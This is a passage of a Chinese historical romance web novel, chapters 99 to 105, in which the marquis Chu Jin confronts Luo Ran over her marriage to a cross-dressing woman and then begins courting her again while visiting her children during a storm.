黎娜立刻上前一步,将她牢牢护住,抬眸直视楚烬,语气铿锵, “是我带她跑的,有什么事冲我来!堂堂永安侯,为难一个弱女子,算什么本事?” 楚烬身后的楚乘风见状,吓得连忙上前一步,低声劝道, “大哥,你答应过我的,不会伤害任何人的,你别冲动!” “这个小子竟敢当面跟你叫板,着实气人,你将她交于我,我定然好好教训她……” 楚烬的目光落在罗苒与黎娜相牵的手上,那两只交握的手刺目得很。 他低低冷笑一声,脸色阴沉得可怕,眼底翻涌着毫不掩饰的戾气。 “罗苒,过来。” 他的声音沉冷森然,似没有半分商量的余地。 罗苒浑身一颤,不肯挪动半步,鼓起勇气抬眸看向他, “侯爷之前说过,若是我成了亲有了夫君,就放过我的。” 楚烬嗤笑,眼神满是嘲讽, “怎么?难不成你现在要说,这个小子,就是你那成亲一年半的夫君?” “正是。” 不等罗苒开口,黎娜便率先应声,语气坦荡,甚至带着几分挑衅, “我便是她的夫君,侯爷身为朝廷命官,难不成要在大庭广众之下,做那强抢民妻有违礼法之事?” 楚烬眼底的嘲讽更甚,全然不信这话。 罗苒见楚烬这般,深吸一口气,努力让自己打颤的声音坚定一些, “我同她是立过婚书上过官籍的……若是侯爷不信,大可以让人去查,绝非虚言。” 楚烬身后脸肿成猪头的楚乘风也含糊地劝道, “大哥,我和这段离是旧相识,她们确实成婚了,一直瞒着你也是因为知晓罗苒已经成亲怕你经受不住打击……” 楚烬本是不信,可连楚乘风都这么说心中犹豫了一瞬,随后强压着怒火扭头朝身后的侍卫冷喝一声, “去,立刻去官府,把近两年的婚书簿册取来!” 侍卫不敢耽搁,快步离去。 不过半柱香的功夫,便捧着一叠厚重的官府簿册回来,恭敬地递到楚烬面前。 楚烬一把抓过簿册,一页页快速翻找着。 当他看到那页登记着她们二人名字的婚书时,浑身猛地一僵,翻页的动作骤然停住。 上面的日期、籍贯、签字,一应俱全,确是一年半前登记在册,做不得半点假。 震惊与恼怒瞬间席卷了他,他万万没想到,罗苒竟然真的带着小玥和衍儿,在短短两年里另寻他人,甚至堂堂正正成了亲。 那两年的疯魔寻找,失而复得的惊喜悸动,此刻尽数化作尖锐的怒火和刺骨的疼。 心口阵阵发紧,楚烬猛地抬眸,大步朝二人而去。 黎娜见状,立刻伸手想要阻拦,可不等她动作,一旁的侍卫便蜂拥上前,死死按住了她的胳膊,将她牢牢控制住。 楚烬顺势伸手,一把将罗苒拽到自己面前,力道大得几乎要捏碎她的手腕。 他死死盯着她,牙关紧咬,眼眶通红,声音里带着压抑不住的暴怒, “你怎么敢!罗苒,你怎么敢!” “你竟真的嫁人了!你竟真的敢嫁给别人!” 他的声音里除了滔天的怒火,还藏着一丝不易察觉的哽咽。 第一卷 第99章 严格来说你才是野男人 罗苒被他拽得手腕生疼,看着他红着眼眶近乎疯狂地质问自己,竟生出一丝错觉…… 那双噬人的眸子里,除了凶恶和怒火,似乎还藏着难以言说的伤心委屈。 她强压下心底的慌乱,颤着声音开口, “侯爷,我之前便同你说过了,是你不信而已。” 她顿了顿,神情依旧坚定, “既如此,侯爷便也该罢休了吧……” “我知道您可能只是咽不下那口气,觉得被我欺瞒了两年丢了颜面,可如今婚书为证,我已是有夫之妇,我们之间,早就该彻底了断了。” “我只求您高抬贵手,放我们离开,往后我们母子三人,绝不会再出现在您面前,绝不会再打扰您的生活……” 楚烬看着面前女人眼底的水光,听着她口中戳心的字眼,心口的疼愈发尖锐。 眼眶红得更甚,握着她手腕的力道又重了几分,却迟迟没有再开口。 他死死盯着她,眼底翻涌着让人看不懂的复杂情绪。 被侍卫控制住的黎娜见状,急得挣扎起来,厉声呵斥道, “楚烬!你放开她!婚书都摆在你面前了,你还想怎么样?强抢民妻,就不怕被朝野上下非议吗?” 楚烬充耳不闻,依旧死死攥着罗苒,指尖微微发颤。 他怎么能罢休? 他找了她两年,疯了两年,好不容易将她找回来,怎么可能眼睁睁看着她属于别人? 哪怕有婚书为证,哪怕她心意已决,他也不想放手。 心口火辣辣的疼,像有团烈火灼烧着五脏六腑,烧得他理智尽失。 他双眼猩红,周身戾气翻涌,朝侍卫厉声喝道, “把这个不知天高地厚的野男人押进地牢,听候发落!” 罗苒一想到那阴冷潮湿可怖至极的地牢,心头骤然一紧。 眼看着侍卫就要动手,她也不知拿来的勇气低头狠狠咬在楚烬扣着她的手上。 楚烬吃痛,下意识松开了手,罗苒趁机快步上前,死死挡在黎娜身前。 慌乱间,她一把拔下发间的玉簪,紧紧攥在掌心,簪尖直直对着身前的楚烬,抖着声音, “不准动她!” 从前那个温顺怯懦的罗苒,如今竟为了一个“外人”,拿簪子对着他? 楚烬只觉得连呼吸都带着钝痛。 他咬牙切齿,吐出的话语字字带着刺骨的寒意, “罗苒,你竟然为了这个野男人,拿簪子对着我?” “你少胡说!” 黎娜虽被侍卫死死钳制着,却依旧挺直脊背,语气铿锵,半点不怵, “我与阿苒明媒正娶,还有官府婚书为证,是名正言顺的夫妻……” “严格来说,强抢有夫之妇纠缠不休的你,才是那个多余的野男人。” “放肆!” 楚烬被狠狠戳中痛处,厉声朝侍卫吼道, “还愣着干什么?将他拖走!” 侍卫不敢耽搁,手下加力,就要拖拽黎娜。 罗苒眼看黎娜就要被拖去地牢,心底只有一个念头…… 绝不能让她落入那炼狱般的地方。 猛地将簪尖调转,紧紧抵住自己的脖颈。 她双眼通红,眼神决绝,死死盯着楚烬,一字一句道, “楚烬,你要是敢动她,我就死在你面前!” 楚烬身体猛地一僵,下意识上前一步。 罗苒手上猛然用力,锋利的簪尖已然刺破了颈间的肌肤,一丝鲜红的血珠瞬间渗了出来,顺着白皙的脖颈缓缓滑落,刺得人眼睛生疼。 楚烬瞳孔紧缩,声音里带着不易察觉的颤抖,厉声喝止, “住手!” 他死死盯着罗苒决绝的脸,心口又疼又慌,语气里满是难以置信的质问, “你就这么在意这个男人?” 罗苒迎上他猩红的眼眸,语气半真半假,带着几分破釜沉舟的坚定, “你是知道的,我想要的从来都是一心一意,若非真心相爱,我经历过楚府种种,怎会不顾一切,与他成婚?” 楚乘风在一旁看得心惊,连忙上前一步,语气弱弱地劝道, “大哥,罗娘虽说看着娇软,可逼急了性子也是极烈的,先前你已经逼得她假死逃跑过一次,事已至此,若是真要强来,恐怕只会适得其反……” “更何况,如今你圣眷正浓,朝野上下多少双眼睛盯着你,这事闹大了,对你终究不好看……” 说着,他又凑到楚烬身侧,压低声音补充, “罗娘带着两个孩子,总归也跑不远。不如先放他们走,咱们从长计议,总有办法的。” 楚烬望着罗苒颈间刺眼的血迹,又听着楚乘风的劝解,俊脸紧绷神情晦暗不堪,挣扎之下终究还是松了口, “好,你把簪子放下,我放你们走……” 第一卷 第100章 谁能顶住我大哥那沙包大的拳头? 罗苒知道楚烬心性磊落,说出口的话不至于在众人之下反悔。 紧绷的神经瞬间松懈下来,缓缓放下簪子,指尖依旧微微发颤。 被松开的黎娜连忙扶住她,看了一眼面色紧绷的楚烬,见他确实没有阻拦之意,这才扶着她快步离开了这条阴冷的胡同。 二人一路不敢停歇,直到走出帝都城门才隐隐松了口气。 回到城郊的小院,刚推开院门,两道小小的身影便飞跑了过来,清脆的声音响彻小院, “娘亲!娘亲!” 是衍儿和小玥。 两日未见,两个孩子扑进罗苒怀里,紧紧抱着她的腰,小脸上满是依恋。 “你这几日去哪了?我们好想你……” 罗苒蹲下身,紧紧抱住两个孩子,鼻尖一酸,眼泪再也忍不住落了下来。 这两天在永安侯府的经历,像一场荒诞又可怕的梦。 可如今那些惊慌无措都在孩子温暖的怀抱里,渐渐变得模糊。 她轻轻抚摸着孩子们的头,心底暗自庆幸…… 好在楚烬虽偏执,却还有底线,知晓她已成婚,终究是没有再纠缠。 这样一来,她便能彻底放下心来了。 不多时,院门外传来一阵轻咳声,肿着一侧脸颊的楚乘风走了进来。 想来是记挂着黎娜,她们前脚刚走后脚他就撵过来了。 黎娜在屋里换衣服,楚乘风先跟罗苒打了个照面。 罗苒知道楚乘风这次帮了自己,便感谢道, “这次多谢楚二爷了。” 楚乘风摆摆手,毫不在意道,“咱们也算是旧相识了,跟我客气什么。” 顿了顿又道,“大哥这次不由分说将你掳走确实过分了些,但也是因为两年后初见你太激动了才会失了分寸……” “你也别怪他。” 罗苒确实谈不上怪罪楚烬,毕竟当年骗他假死、躲了他两年的是自己,这两年,出于愧疚也好懊悔也罢,想来他也受过不少煎熬。 说话间,黎娜换好了衣衫出来,楚乘风立马凑到她面前,一脸可怜兮兮, “娜娜我脸疼的厉害,你快给我瞧瞧牙是不是也掉了……” “你不知道大哥被我遣的人诓回府没过多久,就察觉不对劲,非要回去,我真是拼死拦着他……” 黎娜斜睨了他一眼,语气带着几分不屑, “那你不还是没拦住?我们不还是被堵在胡同里了……” 楚乘风立刻指着自己肿得几乎变形的右脸,委屈巴巴地辩解, “我哪能拦住啊,谁能顶住我大哥那沙包大的拳头?他邦邦两拳砸下来,我魂都飞了一半……” 黎娜瞥了一眼他那红肿得不成样子的右脸,确实也有那么一丝心疼, “打得确实严重,好好一张小白脸,现在都没眼看了。” 顿了顿,她语气缓和了几分, “看在你这次确实帮了我们的份上,谢了。” 楚乘风见黎娜难得软化,连忙趁热打铁, “好娜娜,我脸疼的厉害,牙好像也松了,你快带我回你房间好好给我上点药治治。” 好话说了一箩筐,楚乘风软磨硬泡,总算缠得黎娜松了口,带着他进了屋。 …… …… 罗苒这以为楚烬知晓她已然成亲后,便会彻底失了纠缠的兴致。 却没曾想,不过才过了一日,楚烬便又寻到了蒙院来。 彼时蒙院里暖意融融,孩童们正凑在一起嬉闹玩耍,笑声清脆悦耳,驱散了连日来的沉闷。 罗苒坐在院中的老槐树下,正含笑望着孩子们打闹,没留意楚烬不知何时站至院门口。 他的目光第一时间落在了院里两年不见的衍儿与小玥身上。 令人意外的是,小玥竟还认得他,看到门口的楚烬,一双乌溜溜的大眼睛亮了起来,伸着胖乎乎的小手指着楚烬,脆生生地喊道, “爹爹!” “你们看,那是我爹爹……” 一起玩耍的孩童们齐齐看了过去。 小玥放下手中的,拉着衍儿小短腿欢快跑了过去。 罗苒听到孩童们的动静,抬头看到门口的楚烬,吓了一跳。 慌忙让身旁照看孩子的婶子们看好孩子,自己快步迎了过去。 她不明白楚烬又为何前来,看着一眨眼就跑到楚烬面前的衍儿和小玥,心里不由得有些紧张。 “爹爹!爹爹……” 小玥和衍儿丝毫没有注意到身后娘亲的紧张,跑到楚烬面前,仰着头瞪大眼睛好奇地看他。 楚烬低头看着跑到面前手拉手站着的两小只。 当年他还曾一手一个将他们扛在肩上去摘石榴,那时他们连路都走不稳,只有软乎乎的小身子。 如今一转眼,竟已长成了这般大。 第一卷 第101章 你若同他趁早和离,尚且还来得及 他缓缓弯下腰,伸出手轻轻抚上两个孩子的头顶。 指尖触到那柔软的发丝,眼底常年覆着的疏离与冷冽彻底褪去,取而代之的,是浓得化不开的慈爱与宠溺。 衍儿比小玥小上两个月,对楚烬没有半点印象,眼底满是懵懂与好奇。 听见姐姐喊楚烬“爹爹”,他便睁着一双黑黝黝的眸子定定地望着他,眼神干净又纯粹,带着孩童特有的天真疑惑,稚气地开口问道, “你是我们的爹爹?那之前怎么从来没见过你?” 楚烬下意识放柔了低沉的声线,耐心解释道, “那时你年纪还小,还没断奶,自然记不得我……” 衍儿眨了眨眼,似懂非懂,又天真地追问, “那你这次来,是要和我们一起生活吗?这样我们就有两个爹爹了。” 孩童的话语直白又纯粹,让正好追到跟前的罗苒顿时尴尬起来。 她连忙出声制止, “不许胡说!他不是你们的爹爹,是楚公爷,见了要恭恭敬敬行礼才对。” 小玥和衍儿似懂非懂地对视了一眼,但还是听话地站好,规规矩矩地行了个礼,齐声道, “楚公爷好。” 那一声“楚公爷”,像一道无形的屏障,将楚烬与孩子们隔在了两端。 他面色微微一僵,唇角的弧度凝了一瞬,但到底没有发作。 抬手从怀中取出两个精致的锦盒,一人一个递了过去。 孩子们好奇地打开锦盒,眼中瞬间亮起光芒。 里面是一对羊脂玉打造的长命锁,玉质温润细腻,触手生温,雕工精巧繁复,纹路间满是匠心,一眼便知价值不菲。 楚烬的声音低了下来,像是在跟孩子们解释,又像是在对罗苒说, “这是那年出征时购置的,本想战事结束回来就送给他们……可惜一直没机会……” 罗苒看着那对长命锁,心中顿时说不出的滋味。 她识得这玉的成色,实在太贵重了。 连忙俯身将锦盒从孩子手中拿起,递回到楚烬面前, “此物太过贵重,孩子们年纪尚小,受不起这般厚礼,侯爷还是收回去吧。” 楚烬没有接。 他只是看着罗苒,目光沉沉的,带着一丝不易察觉的涩意, “你真的要让他们同我如此生分吗?” 罗苒的手顿在半空。 她心知衍儿严格说来本是楚烬的养子,纵然如今三人换了新身份,可若是楚烬执意追究,以养父之名要将衍儿带回,终究是一桩麻烦。 她不想把关系彻底闹僵。 沉默片刻,她还是将锦盒收了回来,放回两个孩子手中,低声说了句, “那我替他们谢过侯爷。” 两个孩子重新结果锦盒爱不释手。 罗苒知道楚烬还有话要单独同自己说,便低声哄着两个孩子去院中玩耍。 等他们的脚步声远了,两人周围才安静下来。 楚烬站在她面前,看着罗苒低垂的眉眼,那张硬朗的脸上神色复杂。 他沉默了好一会儿才开口, “我昨日想过了。” 他顿了顿,像是在斟酌措辞。 “你一个妇人,带着两个孩子在外求生,日子艰难。为了生计找个男人依靠……也实属情理之中……” 罗苒有些讶异地抬起头,看着面前这个试图一本正经为她找台阶下的男人,一时有些茫然。 楚烬见她不说话,又接着往下说,语气里带着不易察觉的醋意, “你长得漂亮,人又单纯软糯,有些轻浮男人见色起意,嘴上说得好听,实则不是真心待你、待孩子……” “你莫要被他们诓骗了。” 他停顿了一下,喉结微微滚动,似乎在压着什么情绪。 “你若同他趁早和离,尚且还来得及……” “我只当这事从未发生过,也不会在意追究……” “如今我已然分家立府,日后衍儿长大,可承袭我的爵位,小玥顶着永安侯嫡女的身份,将来也能寻个好婆家,一生安稳顺遂……” 他絮絮叨叨地说着,描绘着他能给他们的未来,却没注意到罗苒愈发茫然的神色。 她忍不住皱着眉打断他,黝黑清澈的眸子看着突然出现在她们家门口,说着这番莫名其妙话的男人, “侯爷这说的是什么话?我和我夫君感情很好,从未想过要与他和离。” 她实在不明白,楚烬为何会有这般荒唐的想法。 他怎么会觉得,现如今的自己,还会因为他几句不重不轻的承诺,就忘却过往所有,茫然无措地再次选择相信他? “娘子又在门口迎我啦?” 黎娜的声音从不远处响起。 罗苒扭头看去,只见皆是一身白衣的黎娜和姜采薇从医馆归来。 走近的黎娜瞥了楚烬一眼,目光掠过一丝讥讽,故意拖长了语调开口, “这不是楚前辈吗?” 她刻意将“前辈”二字咬得极重,在场之人一听,便都懂了她的弦外之音。 楚烬却半点没有窘迫心虚之色,脊背依旧挺得笔直,只淡淡睨了她一眼,神色未变,径直忽略了她的挑衅。 “您不在侯府日理万机,来我们这郊区小镇做什么?” 第一卷 第102章 堂堂永安侯,竟当着人家夫君的面挖墙角? 黎娜刻意上前牵住罗苒的手,姿态亲昵, “娘子,门口晒,咱们赶紧回去吧。” 她语气温柔,目光却斜睨向楚烬,眼底的挑衅毫不掩饰。 楚烬的目光,不着痕迹地落在黎娜与罗苒相牵的手上。 那双眼眸冷了一瞬,他心底的醋意和不耐翻涌,却终究强行忍了下来。 他清楚,此刻的他,没有立场干涉,更不能吓到罗苒。 黎娜怎会感受不到他眼中那股凛冽的寒意? 可她半点不退缩,反倒微微扬起下巴,抬眼迎上楚烬的目光,意有所指地补了一句, “我娘子长得漂亮,性子又单纯软糯,难免会被一些心怀不轨的轻浮男人见色起意……” 顿了顿,她又加重语气,“不过可惜了,再怎么费心思,也是竹篮打水一场空。” 楚烬面色未变,仍是那副从容淡然的模样,仿佛没听见她的嘲讽一般,目光越过黎娜,重新落回罗苒脸上,语气刻意放缓几分, “苒娘,我方才说的话,你好好考虑。” 这话彻底惹恼了黎娜,她当即横在二人中间,一脸不满, “我的妈呀大哥,我难不成是个死人?堂堂永安侯,竟当着人家夫君的面挖墙角?” 罗苒隔着黎娜的肩头,看了楚烬一眼,态度坚定, “侯爷今日所说的话,我权当未曾听过,如今我已为人妇,日子安稳顺遂,心满意足……” “侯爷英明神武,向来深受百姓赞颂爱戴,还请莫要再说这般有失身份抹黑自身的话了……” 深思熟虑内心挣扎纠结一天一夜,终于决定来挖墙角,但失败告终的楚烬,丝毫没有半点被挫的尴尬恼怒。 他冷冷扫了得意洋洋的黎娜一眼,没有再多说一个字,转身便离开了蒙院。 …… …… 楚烬第二日又来了,显然是转变了策略。 身后的随从提着满满几盒精致点心,一看便是精心准备的,说是给蒙院的孩子们准备的餐点。 蒙院里的孩子们何时见过这些五颜六色的精致点心,一个个雀跃不已,兴奋极了。 罗苒没想到昨日已经说得那般明白,楚烬竟还会来。 她实在想不通,帝都人口密集,适合做他妻子的女人多如牛毛,既然不是真心喜爱,何苦这般执着? 若说是因她假死而不甘偏执,倒还罢了,可如今已知她为人妇,本应彻底死心放下才是,怎还这般毫不介意? 她心知这样耗下去终究不是办法,便将楚烬拉到一旁,硬下态度, “侯爷身份尊贵,整日来我这偏僻郊区,与我这有妇之夫牵扯,终是会坏了您的名誉。” 楚烬却半点不恼,语气随意地开口, “你既已成亲,我自然不便纠缠。但你当年趁机抱走衍儿,这是无法否认之事。衍儿是我楚家的养子,按情理本就该认祖归宗,回到我身边……” 提及衍儿的抚养权,罗苒顿时紧张起来。 她最怕的,就是楚烬强行将衍儿带走。 楚烬将她眼底的慌乱尽收眼底,话锋适时一转,放缓了语气补充道, “但如今衍儿早已把你认作娘亲,我若是强硬将他带回,反倒委屈了孩子,实在不人道……” “只是,你也不能阻拦我探视他吧……” 说着,他难得放软了姿态, “你已然成亲,又对我毫无情意,我确实不该再纠缠于你……” “可你也清楚,从前我便疼衍儿和小玥,与他们分离两年,我心底满是惦记牵挂。近来我恰好鲜少空闲,所以才会来得勤了些,仅仅为弥补,绝无他意。” 楚烬向来强势,少有这般示软的时候。 他那样高大的身躯,说话时宽厚的肩膀微微垂下,眼底的锐利尽数褪去,嘴上念叨着孩子们的样子,倒真有几分无辜。 这般一顿软硬兼施下来,很难有人不动容。 罗苒也自然。 比起衍儿被强行带走,她宁愿楚烬来探视。 更何况他方才也说了,如今是他空闲,等日后政事繁忙,想来也不会有这么多时间频繁来访。 犹豫片刻,便低声说道, “那你若是要看孩子们,便最好白日里来……傍晚阿黎从医馆回来,你们若是碰到,总归是不好。” 其实罗苒心底另有顾虑,虽然如今大興国国法严明,权贵也须严守律法,天子犯法与民同罪。 可黎娜天不怕地不怕,性子又泼辣,她生怕两人碰面时,黎娜冒犯惹怒了楚烬会吃亏,又或者被楚烬瞧出她男扮女装,那便更是糟了。 可这话到了嘴边,却怎么听都觉得怪异…… 反倒像是在刻意避开自己夫君,偷偷与楚烬往来一般。 活脱脱一副偷人的架势。 这般念头一出,罗苒顿时有些窘迫,连忙低下头,脸颊不受控制地泛起一层红晕。 楚烬将她这副羞窘的模样看在眼里,眼底闪过一丝笑意,嘴角不自觉地微微勾起。 第一卷 第103章 我们三个人的秘密 可这话到了嘴边,却怎么听都觉得怪异…… 反倒像是在刻意避开自己夫君,偷偷与楚烬往来一般。 活脱脱一副偷人的架势。 这般念头一出,罗苒顿时有些窘迫,连忙低下头,脸颊不受控制地泛起一层红晕。 楚烬将她这副羞窘的模样看在眼里,眼底闪过一丝笑意,嘴角不自觉地微微勾起。 他转身从身后随从手中拿过一盒精致小巧的糕点,递到罗苒面前,温声道, “这是我让人特意给你做的桃花酥,是正宗的南方手艺。你尝尝,看看和从前楚府厨房做的相比,哪个更合你的胃口。” 罗苒下意识接过糕点。 楚烬见她收下,也不多做纠缠。 转头走进院子里,看着孩子们吃的腮帮子鼓鼓的可爱模样,他忍不住走过去摸了摸衍儿和小玥的脑袋。 两个小家伙并排坐在小板凳上,手里各捧着一块点心,吃得嘴角脸颊全是碎屑。 楚烬柔声开口, “这些点心,喜欢吗?” 两小只齐齐用力点头,奶声奶气应道, “喜欢,谢谢楚公爷。” 楚烬并不爱听这般生分的尊称,索性蹲下身,轻轻捏了捏两人软乎乎的小脸。 “往后有什么想吃的想要的,只管告诉我。” 两小只又乖巧点头。 衍儿咽下嘴里的糕点,仰着小脸懵懂说道, “可听说你住在帝都,我们就算想找你,也找不到呀。” 楚烬转头看了一眼不远处的罗苒,她正低头替别的孩子擦手,神情温柔安静。 他随即压低嗓音,对着两个孩子说道, “院里隔壁的李婶,临街的王伯,还有街头卖猪肉的摊主,都是我的熟人……往后你们有想要的东西,或是想找我,都可以悄悄跟他们说……” “但这是我们三个人的秘密,不可以让其他人知道,好不好?” “好!我们一定保守秘密!” 见楚烬如此认真,两小只也绷着小脸,重重点头,一副小大人般正经模样。 楚烬眼底漾开一抹化不开的柔意,又抬手温柔抚了抚他们的发顶, “真乖。” 一旁的罗苒见孩子们吃得差不多了,便出声招呼众人过来洗手擦嘴。 衍儿和小玥瞧见别的小朋友都过去了,也急忙把余下的点心塞进嘴里,跳下板凳,迈着小短腿小跑着跟了上去。 楚烬看在眼里,觉着时辰不早,不便在此久留,便带着随从准备离去。 蒙院中被罗苒雇来一同照看孩子的两个婶子打来水后,站在一旁有一搭没一搭地闲聊。 “好久没下雨了,连井水都浅了不少。” “快了,眼看着就要入雨季了。” “前面那一条土桥,再不趁着天晴修缮一番,等落了雨,怕是泥泞难行了……” 楚烬脚步微顿,下意识抬眸望向天际。 眸光沉沉,不知心底在思忖些什么。 回程途中,楚苒脑海里满满都是方才罗苒与他暗自定下白日相见约定的模样,唇角噙着一抹浅淡笑意,久久未曾散去。 他心里通透得很,先前那句让孩子认祖归宗的话,不过是半真半假的拿捏与试探。 以他的权势地位,若是执意要强把衍儿带回侯府,本就不是什么难事。 可他绝不会这般鲁莽行事。 正因为有衍儿这层牵绊在,他才有最合理的由头,顺理成章地出现在此…… …… …… 暴雨来得猝不及防。 中午尚且艳阳高照,楚烬刚来这边看望衍儿和小玥没多久,天际便乌云密布,转瞬便是瓢泼大雨倾泻而下。 罗苒连忙招呼孩子们进屋避雨,可不知是房屋年久失修,还是这场雨实在太过猛烈,前后院好几间屋子竟同时淅淅沥沥漏起雨来。 怕雨水淋到孩子,罗苒心急地将二十几个孩童全都聚到屋角。 望着屋顶越漏越凶,许婶子忍不住叹道, “往日也没见漏过,怎么这回漏得这般厉害?” 罗苒也满心纳闷。 房东明明说这屋子是新盖的,怎会无端漏水,心头不由焦灼万分。 许婶子在一旁继续忧心忡忡道, “雨下这么大,这会儿根本找不到匠人来修,可若是放任不管,雨水长久冲刷渗漏,只会越烂越严重,迟早泡坏房梁,到时候就更麻烦了……” 罗苒听得心头发紧,开口应道, “是啊,更何况院里这么多孩子,万一淋出风寒生了病,可怎么得了。” “总得想办法先修补一下才行……” 正说着,一旁的楚烬忽然轻咳了一声。 罗苒瞥了他一眼,没多理会,转头对许婶子道, “廊下有梯子,这会儿雨势稍小了些,不如我自己上去补一补。” 许婶子连忙伸手拉住她, “哎哟罗先生,你身子单薄哪里撑得住?染了风寒尚且不说,万一脚下打滑摔下来,那可怎么好。” 这时,楚烬又刻意重重咳了两声。 罗苒本就心烦意乱,偏他还在一旁故作姿态频频打断,不由得转头不耐地瞪了他一眼, “侯爷若是身子不适,便离孩子们远些,免得过了病气给他们……” 说完,便不再理他,又蹙眉盯着漏雨的屋顶发愁。 楚烬被她一句话堵得哑口无言,面上有些悻悻然。 可眼看罗苒当真要去搬梯子亲自上房,他终于按捺不住走上前。 径直把人拦回屋内,随手拿起修缮工具,冒着大雨利落攀上屋顶。 屋里并非没有壮年男子,可罗苒压根没敢往他身上想。 他是身份矜贵的永安侯爷,身居高位,素来金尊玉贵,来到这偏远小镇,靴底沾点泥泞都算是屈尊。 她怎敢痴心妄想,让他做这种粗重脏累的活计。 可楚烬却主动揽了下来。 他本沙场出身手脚功夫了得,却没想做起修缮杂活竟也娴熟利落,半点不生疏。 只见他脚步稳健,轻巧地在屋檐瓦面间来回走动,上下腾挪自如,没多时,便将主屋房内漏雨破损的地方修补妥当。 至于其余那些无人居住的空房,漏些雨水倒也无妨,只需等雨势停歇,再寻匠人专门上门修缮即可。 只是楚烬早已浑身淋得通透,湿衣紧紧贴在挺拔强健的身躯上,肌理线条隐隐可见,分明勾勒出紧实流畅的身形轮廓。 第一卷 第104章 看来你们感情也不是很好 罗苒心底对他本就存有芥蒂,平日里他来看孩子,她向来能避则避。 可眼下紧咬关头,他实实在在帮了自己大忙,她终究没法再摆出冷漠疏离的态度。 连忙取来干净帕子递给他,让他擦拭身上的雨水。 安顿好一众孩子,她便领着楚烬往自己房间去,打算让他换身干爽衣裳。 “今日真多谢侯爷出手相助,劳您这般屈尊费心。” 楚烬淡淡开口, “无妨,总不能眼睁睁看着你一个柔弱女子冒雨上房。” “侯爷稍等片刻,我去给您取套干净衣裳。” 罗苒说完便匆匆转身。 楚烬望着她离去的背影,目光在那纤细的腰身上停了一瞬,随即收回。 趁着罗苒去取衣物的空档,楚烬抬眼打量起这间屋子。 这是他第一次进罗苒的卧房。 屋内收拾得干净雅致,桌椅虽朴素,却擦得一尘不染。 窗台上摆着一只青瓷小瓶,里面插着几枝不知名的野花,淡紫色的小朵儿,开得正盛。 空气中萦绕着她身上独有的淡淡馨香,不是脂粉的浓艳,倒像雨后青草与晨露混在一起的清甜。 楚烬不自觉深吸了一口气,喉结暗暗滚动了一下。 不多时,罗苒从黎娜房里取来一套男装。 这会儿功夫,楚烬早已将屋内景致细细打量了一遍,目光落在那套男装上,随口淡淡问道, “你们为何不一起同住?” 顿了顿,又轻飘飘地补了一句, “看来你们感情也不是很好……” 罗苒当初带他进房,压根没想过这些弯弯绕绕,没料到他会这般敏锐地察觉,顿时有些心慌。 连忙低声解释道,“衍儿和小玥素来黏我,夜里总要跟着我睡。阿黎白日在药堂坐诊看病本就劳累,若是再挤在一起,反倒歇息不好……” 楚烬见她事事都替旁人这般体贴周全,语气不由得带了几分不阴不阳的酸意, “你倒是十分体贴。” 他眸光缱绻,落在罗苒小巧挺翘的鼻尖与粉嫩柔润的唇瓣上。 独处在她的闺房里,空气中满是她的气息,他此时早已心猿意马。 心底不由暗想,这小娘子生得这般温软馨香,若是自己,那恨不得日日揣在怀里,时时亲近怜惜,怎会有人舍得与她分房而居? 满腹醋意翻涌,他面上却不动声色,只眸光沉沉地看了她一眼。 随即伸手接过罗苒手里的衣衫,修长的手指搭在腰带上,竟是要当着她的面宽衣。 罗苒见他毫无避讳,脸颊瞬间染上绯红,慌忙垂眸道, “我去外间等候侯爷……” 没过多久,里间房门被推开。 罗苒下意识转头,猝不及防撞进眼帘的,便是一片线条利落的健硕胸膛。 她整个人猛地一怔,下意识往后退了半步,这才看清楚烬只随意搭了件外衫,衣襟大敞,上身内里未着寸缕。 那小麦色的肌肤经雨水浸润,在屋内昏暖的光线下泛着温润的光泽。 肌理线条分明,腹肌紧实利落,胸肩肌肉轮廓硬朗流畅,满是久经沙场的力量感…… 而那外衫窄小的可怜,勉强挂在他宽厚的肩上,仿佛稍一动弹就会滑落。 楚烬却一脸从容,一双魅惑的桃花眼望着她失神错愕的模样,故作无辜, “这衣衫尺寸太小,裤子还行,内衫根本穿不上,外衫也只能勉强搭着……” 这套本是黎娜扮男装时穿的衣裳。 西戎女子身形高挑挺拔,与中原寻常男子身形相仿,可楚烬生得太过高大魁梧体魄强健,自然撑不进这身偏小的衣衫。 罗苒望着他敞露的胸膛,脸颊还在不受控制地冒着热气, 若是被孩子们和两位婶子撞见这副光景,实在太过尴尬。 她深吸一口气,硬着头皮走上前,伸手想替他拢紧衣襟。 可正如楚烬所说,他常年征战,肩背宽阔,那衣衫实在太过窄小,费劲拢紧一松手便又被撑开了。 罗苒无奈,只能放弃,开口说道, “等雨势小些,我去镇上商铺街,给您重新买一套合身的衣衫……” “如今也只好委屈侯爷暂且先这样将就着,我去给您煮碗姜汤驱寒。” “好。” 这回楚烬倒是安分,没有再多说什么,大大方方地在外间的太师椅上坐了下来。 他微微侧身,随意翘起腿,外衫随着动作又滑开几分,露出更多的胸膛。 他似乎浑然不觉,只抬手将湿发拢到脑后,露出线条分明的侧脸和喉结,整个人慵懒而恣意。 罗苒不敢多看,低着头快步出了门。 她刚要往厨房走,就听见冒雨赶来接孩子的街坊家长在院中交谈,话语中带着愁意, “这雨下得实在太凶了,村口那座土桥都被大水冲塌了。这下雨要是不停,咱们东乡的人进也进不去,出也出不来。” 有街坊一眼瞧见罗苒,便开口问道, “罗先生,你夫君的药堂不就在商铺街吗?看样子今晚怕是没法赶回来了。” 罗苒给楚烬熬了姜汤。 外面天色渐渐暗下来,雨势非但没有减弱,反倒愈发猛烈,时不时还有惊雷闪电划过。 蒙院的孩子们和两个婶子都是附近的人,各自冒雨回了家。 衍儿和小玥被罗苒带进房里,两双乌溜溜的眼睛好奇打量着房里的楚烬。 “楚公爷,您怎么还在这里?” 楚烬趁着罗苒不在的空挡,温声回,“你娘请我来家中做客。” 随后不紧不慢地喝完手中的姜汤。 罗苒回屋收了他手中空了的汤碗,楚烬抬头,目光落在面露难色的女人身上。 他漫不经心地整了整披在肩头的外衫,慢条斯理地起身, “时辰不早,雨又下个不停,想来也没法去街上置办衣衫了……” “好在大雨封街,路上也没什么行人,我就这样回去便好,你和孩子也早些歇息,我改日再来探望……” 说罢,便故作要迈步离去。 第一卷 第105章 大不了便是在外面淋一夜雨罢了 罗苒犹豫再三,还是在楚烬快要跨出门槛时喊住了他, “侯爷,您还不知道,前方那座土桥已经塌了。若是大雨不停,您怕是没法回侯府……” 楚烬装出一副诧异的样子, “土桥竟被冲塌了?那可如何是好……不知这附近可有落脚的旅店?” “这周遭皆是民居,并无旅店可住……” 罗苒望着屋外倾盆不止的大雨,又想起方才楚烬不顾风雨替众人修缮屋顶的情分。 